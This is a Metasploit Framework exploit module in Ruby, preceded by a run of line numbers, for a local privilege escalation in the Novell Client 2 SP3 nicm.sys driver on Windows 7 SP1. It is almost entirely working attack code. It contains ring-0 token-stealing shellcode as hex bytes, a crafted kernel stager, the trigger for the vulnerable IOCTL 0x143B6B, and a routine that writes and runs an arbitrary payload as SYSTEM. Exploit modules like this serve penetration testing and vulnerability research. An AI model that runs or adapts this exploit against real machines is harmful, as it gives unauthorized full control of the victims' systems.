1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, { 'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation', 'Description'=> %q{ This module exploits a flaw in the nicm.sys driver to execute arbitrary code in kernel space. The vulnerability occurs while handling ioctl requests with code 0x143B6B, where a user provided pointer is used as function pointer. The module has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery 'juan vazquez' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets'=> [ # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows # as installed with Novell Client 2 SP3 for Windows 7 [ 'Automatic', { } ], [ 'Windows 7 SP1', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x50",# Offset to _KPROCESS from a _ETHREAD struct '_TOKEN'=> "\xf8",# Offset to TOKEN from the _EPROCESS struct '_UPID' => "\xb4",# Offset to UniqueProcessId FROM the _EPROCESS struct '_APLINKS'=> "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct } ] ], 'Payload'=> { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'OSVDB', '93718' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], [ 'URL', 'http://pastebin.com/GB4iiEwR' ] ], 'DisclosureDate' => 'May 22 2013', 'DefaultTarget'=> 0 })) end def add_railgun_functions session.railgun.add_function( 'ntdll', 'NtAllocateVirtualMemory', 'DWORD', [ ["DWORD", "ProcessHandle", "in"], ["PBLOB", "BaseAddress", "inout"], ["PDWORD", "ZeroBits", "in"], ["PBLOB", "RegionSize", "inout"], ["DWORD", "AllocationType", "in"], ["DWORD", "Protect", "in"] ]) session.railgun.add_function( 'ntdll', 'NtDeviceIoControlFile', 'DWORD', [ [ "DWORD", "FileHandle", "in" ], [ "DWORD", "Event", "in" ], [ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcContext", "in" ], [ "PDWORD", "IoStatusBlock", "out" ], [ "DWORD", "IoControlCode", "in" ], [ "LPVOID", "InputBuffer", "in" ], [ "DWORD", "InputBufferLength", "in" ], [ "LPVOID", "OutputBuffer", "in" ], [ "DWORD", "OutPutBufferLength", "in" ] ]) session.railgun.add_function( 'ntdll', 'NtQueryIntervalProfile', 'DWORD', [ [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] ]) session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') session.railgun.add_function( 'psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"] ]) session.railgun.add_function( 'psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"] ]) end def open_device(dev) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) handle = r['return'] if handle == invalid_handle_value return nil end return handle end def execute_shellcode(shell_addr) vprint_status("Creating the thread to execute the shellcode...") ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 vprint_error("Unable to CreateThread") return nil end hthread = ret['return'] vprint_status("Resuming the Thread...") ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 vprint_error("Unable to ResumeThread") return nil end return true end def ring0_shellcode(t) tokenstealing ="\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + t['_KPROCESS']# mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"# mov ebx, dword ptr [eax+0f8h]# Retrieves TOKEN tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"# mov eax, dword ptr [eax+b8h]<====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"# sub eax,b8h| # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x75\xe8" # jne 0000101e ====================== tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx# Restores ebx tokenstealing << "\x5a" # pop edx# Restores edx tokenstealing << "\xc2\x08" # ret 08h# Away from the kernel! return tokenstealing end def allocate_memory(proc, address, length) result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not result["BaseAddress"] or result["BaseAddress"].empty? vprint_error("Failed to allocate memory") return nil end my_address = result["BaseAddress"].unpack("V")[0] vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") if not proc.memory.writable?(my_address) vprint_error("Failed to allocate memory") return nil else vprint_good("0x#{my_address.to_s(16)} is now writable") end return my_address end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def check handle = open_device("\\\\.\\nicm") if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) return Exploit::CheckCode::Detected end def exploit vprint_status("Adding the railgun stuff...") add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil if target.name =~ /Automatic/ print_status("Detecting the target system...") os = sysinfo["OS"] if os =~ /windows 7/i my_target = targets[1] print_status("Running against #{my_target.name}") end else my_target = target end if my_target.nil? fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\nicm") if handle.nil? fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found") else print_good("\\\\.\\nicm found!") end this_proc = session.sys.process.open print_status("Storing the Kernel stager on memory...") stager_address = 0x0d0d0000 stager_address = allocate_memory(this_proc, stager_address, 0x1000) if stager_address.nil? or stager_address == 0 session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") end # eax => &kernel_stager # .text:000121A3 mov ecx, eax # .text:000121A5 mov eax, [ecx] # .text:000121A7 mov edx, [eax] # .text:000121A9 pushecx # .text:000121AA pusheax # .text:000121AB calldword ptr [edx+0Ch] kernel_stager =[ stager_address + 0x14, # stager_address junk, junk, junk, junk, stager_address + 0x18, # stager_address + 0x14 junk, junk, junk, stager_address + 0x28# stager_address + 0x24 ].pack("V*") kernel_stager << ring0_shellcode(my_target) result = this_proc.memory.write(stager_address, kernel_stager) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") else vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") end print_status("Triggering the vulnerability to execute the Kernel Handler") magic_ioctl = 0x143B6B # Vulnerable IOCTL ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) session.railgun.kernel32.CloseHandle(handle) if ioctl["GetLastError"] != 0 print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") end print_status("Checking privileges after exploitation...") if not is_system? fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end print_status("Storing the final payload on memory...") shell_address = 0x0c0c0000 shell_address = allocate_memory(this_proc, shell_address, 0x1000) if shell_address.nil? fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") end result = this_proc.memory.write(shell_address, payload.encoded) if result.nil? fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") else print_good("Contents successfully written to 0x#{shell_address.to_s(16)}") end print_status("Executing the payload...") result = execute_shellcode(shell_address) if result.nil? fail_with(Exploit::Failure::Unknown, "Error while executing the payload") else print_good("Enjoy!") end end end |